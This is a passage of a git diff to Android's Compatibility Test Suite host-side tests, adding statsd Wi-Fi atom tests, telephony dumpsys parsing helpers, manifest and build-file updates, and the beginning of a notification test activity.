+                "true".equals(slot.get("mActive"))
+                        && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))).count();
+        return Math.toIntExact(count);
+    }
+
+    /**
+     * Returns the upper bound of active eSIM profile count.
+     *
+     * <p>The value is an upper bound as eSIMs without profiles are also counted in.
+     */
+    private int getActiveEsimCountUpperBound() throws Exception {
+        List<Map<String, String>> slots = getTelephonyDumpEntries("UiccSlot");
+        long count = slots.stream().filter(slot ->
+                "true".equals(slot.get("mActive"))
+                        && "CARDSTATE_PRESENT".equals(slot.get("mCardState"))
+                        && "true".equals(slot.get("mIsEuicc"))).count();
+        return Math.toIntExact(count);
+    }
+
+    private Queue<String> getTelephonyDumpEntries() throws Exception {
+        String response =
+                getDevice().executeShellCommand("dumpsys activity service TelephonyDebugService");
+        return new LinkedList<>(Arrays.asList(response.split("[\\r\\n]+")));
+    }
+
+    /**
+     * Returns a list of fields and values for {@code className} from {@link TelephonyDebugService}
+     * output.
+     *
+     * <p>Telephony dumpsys output does not support proto at the moment. This method provides
+     * limited support for parsing its output. Specifically, it does not support arrays or
+     * multi-line values.
+     */
+    private List<Map<String, String>> getTelephonyDumpEntries(String className) throws Exception {
+        // Matches any line with indentation, except for lines with only spaces
+        Pattern indentPattern = Pattern.compile("^(\\s*)[^ ].*$");
+        // Matches pattern for class, e.g. "    Phone:"
+        Pattern classNamePattern = Pattern.compile("^(\\s*)" + Pattern.quote(className) + ":.*$");
+        // Matches pattern for key-value pairs, e.g. "     mPhoneId=1"
+        Pattern keyValuePattern = Pattern.compile("^(\\s*)([a-zA-Z]+[a-zA-Z0-9_]*)\\=(.+)$");
+        Queue<String> responseLines = getTelephonyDumpEntries();
+
+        List<Map<String, String>> results = new ArrayList<>();
+        while (responseLines.peek() != null) {
+            Matcher matcher = classNamePattern.matcher(responseLines.poll());
+            if (matcher.matches()) {
+                final int classIndentLevel = matcher.group(1).length();
+                final Map<String, String> instanceEntries = new HashMap<>();
+                while (responseLines.peek() != null) {
+                    // Skip blank lines
+                    matcher = indentPattern.matcher(responseLines.peek());
+                    if (responseLines.peek().length() == 0 || !matcher.matches()) {
+                        responseLines.poll();
+                        continue;
+                    }
+                    // Finish (without consuming the line) if already parsed past this instance
+                    final int indentLevel = matcher.group(1).length();
+                    if (indentLevel <= classIndentLevel) {
+                        break;
+                    }
+                    // Parse key-value pair if it belongs to the instance directly
+                    matcher = keyValuePattern.matcher(responseLines.poll());
+                    if (indentLevel == classIndentLevel + 1 && matcher.matches()) {
+                        instanceEntries.put(matcher.group(2), matcher.group(3));
+                    }
+                }
+                results.add(instanceEntries);
+            }
+        }
+        return results;
+    }
+
+    private int getCarrierIdTableVersion() throws Exception {
+        Queue<String> responseLines = getTelephonyDumpEntries();
+        for (String line : responseLines) {
+            if (line.contains("carrier_list_version")) {
+                String version = line.replaceFirst("^\\s*carrier_list_version:\\s*", "");
+                try {
+                    return Integer.parseInt(version);
+                } catch (NumberFormatException e) {
+                    return 0;
+                }
+            }
+        }
+        return 0;
+    }
+
+    private void turnOnAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+    }
+
+    private void turnOffAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+    }
+
+    private boolean restartModem() throws Exception {
+        String response = getDevice().executeShellCommand("cmd phone restart-modem");
+        return response.contains("true");
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
new file mode 100644
index 0000000..927fb1d
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/wifi/WifiStatsTests.java
@@ -0,0 +1,259 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.cts.statsdatom.wifi;
+
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_PC;
+import static android.cts.statsdatom.statsd.AtomTestCase.FEATURE_WIFI;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+import android.net.wifi.WifiModeEnum;
+
+import com.android.os.AtomsProto;
+import com.android.os.StatsLog;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import com.google.common.collect.Range;
+import com.google.protobuf.AbstractMessage;
+
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+
+public class WifiStatsTests extends DeviceTestCase implements IBuildReceiver {
+    private IBuildInfo mCtsBuild;
+
+    private static final int WIFI_CONNECT_TIMEOUT_MILLIS = 30_000;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testWifiLockHighPerf() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiLockHighPerf");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                    .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_HIGH_PERF);
+        }
+    }
+
+    public void testWifiLockLowLatency() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiLockLowLatency");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiLockStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            assertThat(event.getAtom().getWifiLockStateChanged().getMode())
+                    .isEqualTo(WifiModeEnum.WIFI_MODE_FULL_LOW_LATENCY);
+        }
+    }
+
+    public void testWifiMulticastLock() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_PC)) return;
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_MULTICAST_LOCK_STATE_CHANGED_FIELD_NUMBER, true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiMulticastLock");
+
+        // Sorted list of events in order in which they occurred.
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        Set<Integer> lockOn = new HashSet<>(
+                Collections.singletonList(AtomsProto.WifiMulticastLockStateChanged.State.ON_VALUE));
+        Set<Integer> lockOff = new HashSet<>(
+                Collections.singletonList(
+                        AtomsProto.WifiMulticastLockStateChanged.State.OFF_VALUE));
+
+        final String EXPECTED_TAG = "StatsdCTSMulticastLock";
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(lockOn, lockOff);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getWifiMulticastLockStateChanged().getState().getNumber());
+
+        for (StatsLog.EventMetricData event : data) {
+            String tag = event.getAtom().getWifiMulticastLockStateChanged().getTag();
+            assertThat(tag).isEqualTo(EXPECTED_TAG);
+        }
+    }
+
+    public void testWifiReconnect() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+        ConfigUtils.uploadConfigForPushedAtoms(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                new int[] {
+                        AtomsProto.Atom.WIFI_CONNECTION_RESULT_REPORTED_FIELD_NUMBER,
+                        AtomsProto.Atom.WIFI_DISCONNECT_REPORTED_FIELD_NUMBER
+                });
+
+        // This test on device checks if device is connected, and connects it if it is not;
+        // Afterwards, it disconnects from that network and connects back to it.
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiReconnect");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // If device had Wifi connected, we'll see two atoms: disconnect, connect.
+        // If it was not connected, we'll see three: connect, disconnect, connect.
+        // We're only interested in the disconnect-connect pair.
+        assertWithMessage(
+                "Expected disconnected and connected atoms, got: \n" +
+                        data.stream().map(AbstractMessage::toString).reduce((acc, i) -> acc + i)
+        ).that(data.size()).isIn(Range.closed(2, 3));
+
+        AtomsProto.WifiDisconnectReported a0 =
+                data.get(data.size() - 2).getAtom().getWifiDisconnectReported();
+        AtomsProto.WifiConnectionResultReported a1 =
+                data.get(data.size() - 1).getAtom().getWifiConnectionResultReported();
+
+        assertThat(a0).isNotNull();
+        assertThat(a1).isNotNull();
+
+        assertThat(a0.getConnectedDurationSeconds()).isGreaterThan(0);
+        int maxLinkSpeedMbps = 1_000_000; /* 640K ought to be enough for anybody. */
+        assertThat(a0.getLastLinkSpeed()).isIn(Range.open(0, maxLinkSpeedMbps));
+        assertThat(a0.getLastRssi()).isIn(Range.closed(-127, 0));
+
+        assertThat(a1.getConnectionResult()).isTrue();
+        assertThat(a1.getRssi()).isIn(Range.closed(-127, 0));
+        assertThat(a1.getConnectionAttemptDurationMillis()).isIn(
+                Range.open(0, WIFI_CONNECT_TIMEOUT_MILLIS));
+        assertThat(a1.getTrigger()).isEqualTo(
+                AtomsProto.WifiConnectionResultReported.Trigger.RECONNECT_SAME_NETWORK);
+        assertThat(a1.getNetworkUsed()).isTrue();
+    }
+
+    public void testWifiScanLogsScanAtoms() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_SCAN_REPORTED_FIELD_NUMBER);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data).hasSize(2);
+
+        AtomsProto.WifiScanReported a0 = data.get(0).getAtom().getWifiScanReported();
+        AtomsProto.WifiScanReported a1 = data.get(1).getAtom().getWifiScanReported();
+
+        for (AtomsProto.WifiScanReported a : new AtomsProto.WifiScanReported[]{a0, a1}) {
+            assertThat(a.getResult()).isEqualTo(AtomsProto.WifiScanReported.Result.RESULT_SUCCESS);
+            assertThat(a.getType()).isEqualTo(AtomsProto.WifiScanReported.Type.TYPE_SINGLE);
+            assertThat(a.getSource()).isEqualTo(
+                    AtomsProto.WifiScanReported.Source.SOURCE_OTHER_APP);
+            assertThat(a.getImportance()).isEqualTo(
+                    AtomsProto.WifiScanReported.Importance.IMPORTANCE_FOREGROUND_SERVICE);
+
+            assertThat(a.getScanDurationMillis()).isGreaterThan(0);
+        }
+    }
+
+    public void testWifiScanLogsStateChangedAtoms() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+
+
+        ConfigUtils.uploadConfigForPushedAtomWithUid(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                AtomsProto.Atom.WIFI_SCAN_STATE_CHANGED_FIELD_NUMBER,  true);
+        DeviceUtils.runDeviceTestsOnStatsdApp(getDevice(), ".AtomTests", "testWifiScan");
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int stateOn = AtomsProto.WifiScanStateChanged.State.ON_VALUE;
+        final int stateOff = AtomsProto.WifiScanStateChanged.State.OFF_VALUE;
+        final int minTimeDiffMillis = 250;
+        final int maxTimeDiffMillis = 60_000;
+
+        List<StatsLog.EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        assertThat(data.size()).isIn(Range.closed(2, 4));
+        AtomTestUtils.assertTimeDiffBetween(data.get(0), data.get(1), minTimeDiffMillis,
+                maxTimeDiffMillis);
+        AtomsProto.WifiScanStateChanged a0 = data.get(0).getAtom().getWifiScanStateChanged();
+        AtomsProto.WifiScanStateChanged a1 = data.get(1).getAtom().getWifiScanStateChanged();
+        assertThat(a0.getState().getNumber()).isEqualTo(stateOn);
+        assertThat(a1.getState().getNumber()).isEqualTo(stateOff);
+    }
+}
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index 6a5efef..3187415 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -24,8 +24,6 @@
 LOCAL_COMPATIBILITY_SUITE := cts general-tests
 
 LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
 
 include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/hostsidetests/sustainedperf/TEST_MAPPING b/hostsidetests/sustainedperf/TEST_MAPPING
new file mode 100644
index 0000000..b3f1cff
--- /dev/null
+++ b/hostsidetests/sustainedperf/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSustainedPerformanceHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/sustainedperf/app/AndroidManifest.xml b/hostsidetests/sustainedperf/app/AndroidManifest.xml
index eff4a7f..7ba4a2b 100755
--- a/hostsidetests/sustainedperf/app/AndroidManifest.xml
+++ b/hostsidetests/sustainedperf/app/AndroidManifest.xml
@@ -16,16 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.test.app">
+     package="android.test.app">
 
     <application>
-        <activity android:name=".DeviceTestActivity" >
+        <activity android:name=".DeviceTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index 877b468..d86378e 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -7,9 +7,6 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := dhry
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-BSD SPDX-license-identifier-MIT SPDX-license-identifier-NCSA
-LOCAL_LICENSE_CONDITIONS := notice
-LOCAL_NOTICE_FILE := $(LOCAL_PATH)/LICENSE.TXT
 LOCAL_SRC_FILES := dhry_1.c dhry_2.c
 LOCAL_CFLAGS := -O3 -fno-inline-functions -DMSC_CLOCK -DCLK_TCK=1000000
 LOCAL_CFLAGS += -Wall -Werror -Wno-incompatible-library-redeclaration
diff --git a/hostsidetests/sustainedperf/dhrystone/dhry_1.c b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
index 3682052..fe51acb 100644
--- a/hostsidetests/sustainedperf/dhrystone/dhry_1.c
+++ b/hostsidetests/sustainedperf/dhrystone/dhry_1.c
@@ -82,8 +82,8 @@
         Enumeration     Enum_Loc;
         Str_30          Str_1_Loc;
         Str_30          Str_2_Loc;
-  REG   int             Run_Index;
-  REG   int             Number_Of_Runs;
+  REG   long            Run_Index;
+  REG   long            Number_Of_Runs;
 
   /* Initializations */
 
@@ -103,8 +103,8 @@
         /* Arr_2_Glob [8][7] would have an undefined value.             */
         /* Warning: With 16-Bit processors and Number_Of_Runs > 32000,  */
         /* overflow may occur for this array element.                   */
-     int n;
-     scanf ("%d", &n);
+     long n;
+     scanf ("%ld", &n);
      Number_Of_Runs = n;
 
 
diff --git a/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml b/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
index 77dee18..91cf3ed 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
+++ b/hostsidetests/sustainedperf/shadertoy_android/AndroidManifest.xml
@@ -1,41 +1,41 @@
-<?xml version="1.0" encoding="utf-8"?>

-<!--

-/*

-**

-** Copyright 2009, The Android Open Source Project

-**

-** Licensed under the Apache License, Version 2.0 (the "License");

-** you may not use this file except in compliance with the License.

-** You may obtain a copy of the License at

-**

-**     http://www.apache.org/licenses/LICENSE-2.0

-**

-** Unless required by applicable law or agreed to in writing, software

-** distributed under the License is distributed on an "AS IS" BASIS,

-** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

-** See the License for the specific language governing permissions and

-** limitations under the License.

-*/

--->

-

-<manifest xmlns:android="http://schemas.android.com/apk/res/android"

-    package="com.android.gputest">

-    <application

-            android:label="@string/gpustresstest_activity">

-        <activity android:name="GPUStressTestActivity"

-                android:theme="@android:style/Theme.NoTitleBar.Fullscreen"

-                android:launchMode="singleTask"

-                android:configChanges="orientation|keyboardHidden">

-            <intent-filter>

-                <action android:name="android.intent.action.MAIN" />

-                <category android:name="android.intent.category.LAUNCHER" />

-            </intent-filter>

-        </activity>

-    </application>

-    <uses-feature android:glEsVersion="0x00020000"/>

-    <uses-sdk android:minSdkVersion="5"/>

-    <uses-permission android:name="android.permission.INTERNET" />

-    <uses-permission android:name="com.qti.permission.PROFILER" />

-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>

-    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>

-</manifest>

+<?xml version="1.0" encoding="utf-8"?>
+<!--
+/*
+**
+** Copyright 2009, The Android Open Source Project
+**
+** Licensed under the Apache License, Version 2.0 (the "License");
+** you may not use this file except in compliance with the License.
+** You may obtain a copy of the License at
+**
+**     http://www.apache.org/licenses/LICENSE-2.0
+**
+** Unless required by applicable law or agreed to in writing, software
+** distributed under the License is distributed on an "AS IS" BASIS,
+** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+** See the License for the specific language governing permissions and
+** limitations under the License.
+*/
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="com.android.gputest">
+    <application android:label="@string/gpustresstest_activity">
+        <activity android:name="GPUStressTestActivity"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"
+             android:launchMode="singleTask"
+             android:configChanges="orientation|keyboardHidden"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+        </activity>
+    </application>
+    <uses-feature android:glEsVersion="0x00020000"/>
+    <uses-sdk android:minSdkVersion="5"/>
+    <uses-permission android:name="android.permission.INTERNET"/>
+    <uses-permission android:name="com.qti.permission.PROFILER"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
+</manifest>
diff --git a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
index b93a0a2..a9da55c 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
+++ b/hostsidetests/sustainedperf/shadertoy_android/jni/Android.bp
@@ -13,10 +13,6 @@
 // limitations under the License.
 //
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
     name: "libgltest",
     srcs: [
diff --git a/hostsidetests/systemui/Android.bp b/hostsidetests/systemui/Android.bp
index 748ac0a..562bc5a 100644
--- a/hostsidetests/systemui/Android.bp
+++ b/hostsidetests/systemui/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 java_test_host {
     name: "CtsSystemUiHostTestCases",
     defaults: ["cts_defaults"],
@@ -24,6 +20,11 @@
         "cts-tradefed",
         "tradefed",
         "compatibility-host-util",
+        "core_cts_test_resources",
+    ],
+
+    static_libs: [
+        "cts-statsd-atom-host-test-utils",
     ],
     // Tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/systemui/AndroidTest.xml b/hostsidetests/systemui/AndroidTest.xml
index 1fa4c74..dd1d8a6 100644
--- a/hostsidetests/systemui/AndroidTest.xml
+++ b/hostsidetests/systemui/AndroidTest.xml
@@ -22,8 +22,6 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsSystemUiDeviceApp.apk" />
-        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppAudioRecord.apk" />
-        <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppMediaRecorder.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsSystemUiHostTestCases.jar" />
diff --git a/hostsidetests/systemui/TEST_MAPPING b/hostsidetests/systemui/TEST_MAPPING
new file mode 100644
index 0000000..6680744
--- /dev/null
+++ b/hostsidetests/systemui/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsSystemUiHostTestCases"
+    }
+  ]
+}
diff --git a/hostsidetests/systemui/app/Android.bp b/hostsidetests/systemui/app/Android.bp
index 72ebe86..fba1c1b 100644
--- a/hostsidetests/systemui/app/Android.bp
+++ b/hostsidetests/systemui/app/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsSystemUiDeviceApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/systemui/app/AndroidManifest.xml b/hostsidetests/systemui/app/AndroidManifest.xml
index 30be410..0ffc130 100755
--- a/hostsidetests/systemui/app/AndroidManifest.xml
+++ b/hostsidetests/systemui/app/AndroidManifest.xml
@@ -16,35 +16,39 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.systemui.cts">
+     package="android.systemui.cts">
 
     <application>
+        <activity android:name=".TestNotificationActivity"
+                  android:exported="true"/>
+
         <service android:name=".TestTileService"
-            android:icon="@android:drawable/ic_delete"
-            android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:icon="@android:drawable/ic_delete"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
         </service>
 
         <service android:name=".TestActiveTileService"
-            android:icon="@android:drawable/ic_delete"
-            android:permission="android.permission.BIND_QUICK_SETTINGS_TILE">
+             android:icon="@android:drawable/ic_delete"
+             android:permission="android.permission.BIND_QUICK_SETTINGS_TILE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.quicksettings.action.QS_TILE" />
+                <action android:name="android.service.quicksettings.action.QS_TILE"/>
             </intent-filter>
             <meta-data android:name="android.service.quicksettings.ACTIVE_TILE"
-                android:value="true" />
+                 android:value="true"/>
         </service>
 
-        <receiver
-            android:name=".TestActiveTileService$Receiver">
+        <receiver android:name=".TestActiveTileService$Receiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.sysui.testtile.REQUEST_LISTENING" />
+                <action android:name="android.sysui.testtile.REQUEST_LISTENING"/>
             </intent-filter>
         </receiver>
 
     </application>
 
 </manifest>
-
diff --git a/hostsidetests/systemui/app/res/layout/activity_notification.xml b/hostsidetests/systemui/app/res/layout/activity_notification.xml
new file mode 100644
index 0000000..836f7bb
--- /dev/null
+++ b/hostsidetests/systemui/app/res/layout/activity_notification.xml
@@ -0,0 +1,21 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="fill_parent"
+                android:layout_height="fill_parent"
+                android:orientation="vertical">
+</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java b/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java
new file mode 100644
index 0000000..fc5c7c1
--- /dev/null
+++ b/hostsidetests/systemui/app/src/android/systemui/cts/TestNotificationActivity.java
@@ -0,0 +1,75 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.systemui.cts;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+public class TestNotificationActivity extends Activity {
+    private static final String TAG = TestNotificationActivity.class.getSimpleName();
+
+    public static final String KEY_ACTION = "action";
+    public static final String ACTION_SHOW_NOTIFICATION = "action.show_notification";
+
+    @Override
+    public void onCreate(Bundle bundle) {
+        super.onCreate(bundle);
+
+        Intent intent = this.getIntent();
+        if (intent == null) {
+            Log.e(TAG, "Intent was null.");
+            finish();
+        }
+
+        String action = intent.getStringExtra(KEY_ACTION);
+        Log.i(TAG, "Starting " + action + " from foreground activity.");
+
+        switch (action) {
+            case ACTION_SHOW_NOTIFICATION:
+                doShowNotification();
+                break;
+            default:
+                Log.e(TAG, "Intent had invalid action " + action);
+                finish();
+        }
+    }
+
+    private void doShowNotification() {
+        final int notificationId = R.layout.activity_notification;
+        final String notificationChannelId = "SystemUiCtsChannel";
+
+        NotificationManager nm = getSystemService(NotificationManager.class);
